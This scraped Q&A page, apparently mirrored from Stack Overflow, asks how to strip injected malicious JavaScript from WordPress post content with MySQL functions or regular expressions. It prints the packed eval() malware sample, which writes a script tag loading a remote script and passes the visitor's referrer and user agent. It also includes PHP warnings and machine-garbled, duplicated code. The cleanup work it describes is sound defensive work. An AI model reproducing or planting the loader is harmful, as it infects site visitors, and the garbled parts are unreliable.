Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/regex/18.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
使用function、prodecure或regex删除MySQL表中标记之间的所有内容_Mysql_Regex_Function - Fatal编程技术网

使用function、prodecure或regex删除MySQL表中标记之间的所有内容

使用function、prodecure或regex删除MySQL表中标记之间的所有内容,mysql,regex,function,Mysql,Regex,Function,WordPress中的多个post_内容表行中注入了恶意JavaScript eval函数,需要使用MySQL函数或正则表达式将其删除 我曾尝试使用现有的strip tags函数,但由于它们仅删除恶意代码周围的标记,因此无法解决我的问题。我认为这个函数和正则表达式的组合就足以删除恶意代码。在理解正则表达式和MySQL函数方面,我是个新手 恶意代码示例: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.r

WordPress中的多个post_内容表行中注入了恶意JavaScript eval函数,需要使用MySQL函数或正则表达式将其删除

我曾尝试使用现有的strip tags函数,但由于它们仅删除恶意代码周围的标记,因此无法解决我的问题。我认为这个函数和正则表达式的组合就足以删除恶意代码。在理解正则表达式和MySQL函数方面,我是个新手

恶意代码示例:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryiyb|var|u0026u|referrer|kiahk||js|php'.split('|'),0,{}))
“代码>评估(功能(p,a,c,k,e,c,c,c,k,e,e,d){e(c){c返回c.toString(36)};如果(如果)如果(如果)如果.如果(c){代码.评估(c)评估(功能(p,a,a,c,c,c,c,c,c,p,c,c,c,c,c,c,c,c,c,c,c,p,c,c,c,p,c,c,c,c,p,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c 6(“”;n m=“q”|',30,30,'document | | javascript | encodeURI | src | | write | http | 45 | 67 | script | text | rel | nofollow | type | 97 | language | jquery | userAgent | navigator | sc | cript | ryb | var | u0026u | referer | | | js

[代码>eval(功能(p,a,c,k,e,c,c,c,k,e,e,d){e=函数(c){返回c.toString(36)};如果(如果)如果.如果.如果.如果(如果)如果(c){p,a,a,c.评估(c)评估(功能(p,a,p,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c 6(“”;n m=“q”|',30,30,'document | | javascript | encodeURI | src | | write | http | 45 | 67 | script | text | rel | nofollow | type | 97 | language | jquery | userAgent | navigator | sc | cript | bfahe | var | u0026u | referer | js 运算符设置为REGEXP的post_内容表的phpMyAdmin查询中使用了不成功的正则表达式示例:

<noindex>(.*\\?)</noindex>
(.\\?)
带标签功能和更新命令:

DELIMITER $$
CREATE FUNCTION strip_certain_tags($str text, $tag text, $keep_phrase bool) RETURNS text
    BEGIN
        DECLARE $start, $end INT DEFAULT 1;
        SET $str = COALESCE($str, '');
        LOOP
            SET $start = LOCATE(CONCAT('<', $tag), $str, $start);
            IF (!$start) THEN RETURN $str; END IF;
            IF ($keep_phrase) THEN
                SET $end = LOCATE('>', $str, $start);
                IF (!$end) THEN SET $end = $start; END IF;
                SET $str = INSERT($str, $start, $end - $start + 1, '');
                SET $str = REPLACE($str, CONCAT('</', $tag, '>'), '');
            ELSE
                SET $end = LOCATE(CONCAT('</', $tag, '>'),$str,$start);
                IF (!$end) THEN 
                    SET $end = LOCATE('/>',$str,$start); 
                    SET $str = INSERT($str, $start, $end - $start + 2, '');
                ELSE 
                    SET $str = INSERT($str, $start, $end - $start 
                       + LENGTH(CONCAT('</', $tag, '>')), '');
                END IF;
            END IF;
        END LOOP;
    END$$
DELIMITER ;

UPDATE wp_posts SET post_content = strip_certain_tags(post_content, 'noindex', true);
分隔符$$
创建函数条\某些\标记($str text,$tag text,$keep\短语bool)返回文本
开始
声明$start、$end INT默认值为1;
SET$str=合并($str,”);
环
设置$start=LOCATE(CONCAT(“”,$str,$start);
如果(!$end),则设置$end=$start;如果结束;
设置$str=INSERT($str,$start,$end-$start+1,”);
设置$str=REPLACE($str,CONCAT(“”),“”);
其他的
设置$end=LOCATE(CONCAT(“”),$str,$start);
如果(!$end)那么
设置$end=LOCATE('/>',$str,$start);
设置$str=INSERT($str,$start,$end-$start+2',);
其他的
设置$str=INSERT($str,$start,$end-$start)
+长度(CONCAT(''),'';
如果结束;
如果结束;
端环;
结束$$
定界符;
更新wp_posts SET post_content=strip_某些标签(post_content'noindex',true);

添加一个
WHERE
子句,以便只处理与regexp匹配的行

UPDATE wp_posts 
SET post_content = strip_certain_tags(post_content, 'noindex', true)
WHERE post_content RLIKE '<noindex>.*\n?</noindex>';
更新wp_帖子
设置post\u content=strip\u某些标签(post\u content'noindex',true)
其中post_内容类似“*\n”;

\n
匹配换行符

strip\u某些标签
不使用正则表达式。问题是什么?除非您使用的是MySQL 8.0,否则它没有任何用于定位和替换正则表达式的内置函数。它所拥有的只是
RLIKE
操作符,它将告诉您列是否匹配正则表达式在。@Barmar上,问题是该函数是否可以与正则表达式组合以实现该目标,或者是否需要单独的方法来查找和替换所有恶意代码。您可以使用
WHERE post_content RLIKE'(.*)
DELIMITER $$
CREATE FUNCTION strip_certain_tags($str text, $tag text, $keep_phrase bool) RETURNS text
    BEGIN
        DECLARE $start, $end INT DEFAULT 1;
        SET $str = COALESCE($str, '');
        LOOP
            SET $start = LOCATE(CONCAT('<', $tag), $str, $start);
            IF (!$start) THEN RETURN $str; END IF;
            IF ($keep_phrase) THEN
                SET $end = LOCATE('>', $str, $start);
                IF (!$end) THEN SET $end = $start; END IF;
                SET $str = INSERT($str, $start, $end - $start + 1, '');
                SET $str = REPLACE($str, CONCAT('</', $tag, '>'), '');
            ELSE
                SET $end = LOCATE(CONCAT('</', $tag, '>'),$str,$start);
                IF (!$end) THEN 
                    SET $end = LOCATE('/>',$str,$start); 
                    SET $str = INSERT($str, $start, $end - $start + 2, '');
                ELSE 
                    SET $str = INSERT($str, $start, $end - $start 
                       + LENGTH(CONCAT('</', $tag, '>')), '');
                END IF;
            END IF;
        END LOOP;
    END$$
DELIMITER ;

UPDATE wp_posts SET post_content = strip_certain_tags(post_content, 'noindex', true);
UPDATE wp_posts 
SET post_content = strip_certain_tags(post_content, 'noindex', true)
WHERE post_content RLIKE '<noindex>.*\n?</noindex>';